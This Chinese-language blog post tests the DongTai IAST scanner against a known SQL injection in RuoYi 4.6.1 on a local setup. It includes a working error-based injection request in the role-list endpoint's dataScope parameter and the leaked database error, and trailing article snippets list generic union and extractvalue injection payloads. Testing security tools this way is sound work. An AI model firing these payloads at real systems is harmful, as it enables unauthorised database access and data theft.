洞态IAST检测RuoYi的sql注入漏洞

VSole2021-07-27 19:58:04

01 背景

因为看到 Xcheck 发的自动检测到开源项目 RuoYi 的 sql 注入漏洞,因此打算用该漏洞验证一下洞态 IAST 的漏洞检测能力。洞态 IAST 的检测方式是扫描运行中的应用程序,将扫描到的漏洞信息发送到云端进行处理、展示。

02 验证方式

本次验证选择在本地 IDEA 运行 Xcheck 测试的 RuoYi 版本(4.6.1),使用洞态 IAST 的 IDEA 插件对其进行快速检测。

03 本地环境搭建

1.克隆 RuoYi 源码

$ git clone https://github.com/yangzongzhuan/RuoYi.git

注:RuoYi 新版本已修复漏洞,需要将项目版本改为4.6.1,或者直接下载 RuoYi-4.6.1的源码包。

RuoYi-4.6.1源码下载:https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.1.zip

2.使用 IDEA 打开项目

3.修改ruoyi-admin模块下的application-druid.yml中的数据库信息,将username和password改为本地数据库

4.创建数据库ry,导入项目sql文件夹下的.sql文件

mysql -utest -p1234 -e "CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"mysql -utest -p1234 rymysql -utest -p1234 ry

04 IDEA插件的下载与安装

1.下载 DongTai IAST 插件 下载地址:

https://github.com/HXSecurity/DongTai-Plugin-IDEA/releases/download/v1.0/DongTai-Plugin-IDEA.zip

2.安装

3.打开 IDEA preferences 界面的 Plugins,选择从本地下载,导入下载好的插件DongTai-Plugin-IDEA.zip。

选中插件,启动插件功能(无需重新启动IDEA)。

官方文档:https://hxsecurity.github.io/DongTaiDoc/#/doc/tutorial/plugin

05 运行项目

1.使用插件功能“Run With IAST”或者“Debug With IAST”启动项目

使用 IDEA 打开本次检测项目“RuoYi”,版本为4.6.1。

配置好数据库等配置文件,使用“Run With IAST”或者“Debug With IAST”启动或调试项目。注意:第一次使用该功能需要配置Token(Token需要登陆洞态IAST官网在 部署IAST 中获取,详细请看官方文档)。

项目启动成功,访问 127.0.0.1:80

06 漏洞检测

1.测试项目功能,开始被动式挖洞。访问“角色管理”功能,会出现“http://localhost/system/role/list的POST请求出现SQL注入漏洞”。

2.查看“漏洞列表”面板

访问项目功能后,打开“漏洞列表”面板,查看已检测到的漏洞的概要信息

查看“http://localhost/system/role/list的POST请求出现SQL注入漏洞”,选中它然后点击查看详情,跳转到洞态IAST漏洞详情页面,开始分析漏洞

07 漏洞验证

使用Burp Suite进行抓包,进行报错注入获取到数据库的版本号。

POST /system/role/list HTTP/1.1Host: localhostContent-Length: 214sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=142a87a0-faef-479c-a158-67de9d8b14aaConnection: close
pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=¶ms%5BbeginTime%5D=¶ms%5BendTime%5D=¶ms%5BdataScope%5D=and extractvalue(rand(),+concat(0x3a,substring(version(),1,30)))=1

通过注入获取到了数据库的版本号,漏洞验证成功。

HTTP/1.1 200 Content-Type: application/jsonDate: Mon, 12 Jul 2021 06:34:54 GMTConnection: closeContent-Length: 1101
{"msg":"运行时异常:### Error querying database.  Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'### The error may exist in URL [jar:file:/Users/erzhuangniu/workspace/bugenv/docker/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.6.1.jar!/mapper/system/SysRoleMapper.xml]### The error may involve com.ruoyi.system.mapper.SysRoleMapper.selectRoleList-Inline### The error occurred while setting parameters### SQL: SELECT count(0) FROM (SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(rand(), concat(0x3a, substring(version(), 1, 30))) = 1) table_count### Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: ':8.0.25'; nested exception is java.sql.SQLException: XPATH syntax error: ':8.0.25'","code":500}

08 总结

通过本次测试发现洞态IAST在漏洞检出上效果很好,而且多次测试还检测出了RuoYi的其他漏洞,经过漏洞验证均为真实漏洞,而洞态IAST的IDEA插件又降低了检测漏洞的门槛,只需在IDEA中运行项目即可进行检测漏洞,十分方便,推荐大家尝试、使用。

sql注入注入漏洞
本作品采用《CC 协议》,转载必须注明作者和本文链接
id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 没有报错,说明存在3列爆出数据库:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出数据表:?id=1' and extractvalue--+(爆字段)?
id=1' order by 3# 没有报错,说明存在3列。id=-1' union select 1,group_concat,3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名。updatexml函数:细节问题:extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:,而extractvalue函数末尾不加1(数值)?
服务器的相关信息(真实ip,系统类型,版本,开放端口,WAF等) 网站指纹识别(包括,cms,cdn,证书等),dns记录 whois信息,姓名,备案,邮箱,电话反查(邮箱丢社工库,社工准备等) 子域名收集,旁站,C段等 google hacking针对化搜索,pdf文件,中间件版本,弱口令扫描等 扫描网站目录结构,爆后台,网站banner,测试文件,备份等敏感文件泄漏等 传输协议,通用漏洞,ex
网上安全渗透测试工具整理全集,部分链接可能失效,但可以搜索到
Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 浅入浅出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 渗透测试学习手册 中文
未正确验证用户输入的应用程序使它们容易受到 SQL 注入的攻击。SQL 注入攻击 发生在攻击者能够通过操纵用户输入数据将一系列恶意 SQL 语句插入“查询”以供后端数据库执行时。使用这种类型的威胁,应用程序可以很容易地被黑客入侵并被攻击者窃取机密数据。
概述在学习SQL注入之前,我们应先了解什么是SQL?原理SQL注入就是当开发人员对用户输入数据的合法性没有判断或过滤不严时,攻击者通过拼接恶意SQL语句诱使解释器在未经适当授权的情况下执行意外命令或访问数据。
在程序执行出错时,不要显示与内部实现相关的细节。直接对象引用使用的唯一标识可以通过随机数生成以难以猜测。在进行页面显示或做处理之前对用户权限进行检查。
SSJI - Node.js漏洞介绍
2021-11-09 16:16:27
ssji,为服务器端的javascript注入,可分为sql注入和代码注入 运行于服务端的javascript常用的有node.js node.js 是运行于服务端的javascript 把javascript变为服务器端的脚本语言
当我们输入正确的手机号和正确的短信验证码,然后进入重置密码的最后一步,也就是输入新的密码输入密码后提交到服务端的post数据包需要包含当前用户的身份信息。修改响应包重置任意账号密码:通过手机找回密码一般需要短信验证码验证,服务端需要告诉客户端,输入的验证码是否正确。
VSole
网络安全专家